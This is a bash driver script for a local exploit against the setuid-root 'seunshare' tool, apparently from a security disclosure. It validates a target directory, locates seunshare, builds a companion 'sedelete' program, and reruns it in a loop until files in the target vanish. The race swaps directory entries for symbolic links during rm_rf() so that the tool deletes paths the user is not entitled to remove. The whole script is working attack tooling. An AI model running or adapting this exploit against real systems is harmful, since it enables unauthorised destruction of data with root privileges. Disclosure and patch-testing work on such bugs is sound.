#!/bin/bash

err() {
	echo $* 1>&2
	exit 1
}

if [ $# -ne 1 -a $# -ne 2 ]; then
	err "$0 <path-to-delete> [<delay>]"
	exit 1
fi

TO_DELETE="$1"
# delay in microseconds between detection of the rm_rf() execution phase in
# `rm_rf()` and the exploit attempting to replace directory entries by
# symbolic links
if [ $# -eq 2 ]; then
	DELAY="$2"
else
	DELAY=6500
fi

# check that the directory is there and not already empty

if [ ! -d "$TO_DELETE" ]; then
	err "$TO_DELETE does not exist or is not a directory"
elif [ ! -r "$TO_DELETE" ]; then
	err "Cannot access $TO_DELETE, cannot verify exploit success"
else
	entries=`ls -1 "$TO_DELETE" | wc -l`
	if [ $((entries)) == 0 ]; then
		err "$TO_DELETE is already empty"
	fi
fi

# lookup an arbitrary directory entry in the target dir to find out whether
# deletion happened or not
direntry=$(ls -1 $TO_DELETE | head -n 1)

if [ -z "$direntry" ]; then
	err "failed to lookup directory entry in $TO_DELETE"
fi

direntry="$TO_DELETE/$direntry"

# lookup the `seunshare` binary to use
seunshare=`which seunshare 2>/dev/null`
if [ -z "$seunshare" -a -e "/usr/sbin/seunshare" ]; then
	# older SUSE packaging installs it in sbin
	seunshare="/usr/sbin/seunshare"
fi

if [ -z "$seunshare" ]; then
	err "could not find 'seunshare' in PATH"
elif [ ! -u "$seunshare" ]; then
	err "$seunshare is not installed setuid-root"
fi

make -s || err "failed to build sedelete exploit program"

while [ -e "$direntry" ]; do
	./sedelete $seunshare $TO_DELETE $DELAY
done
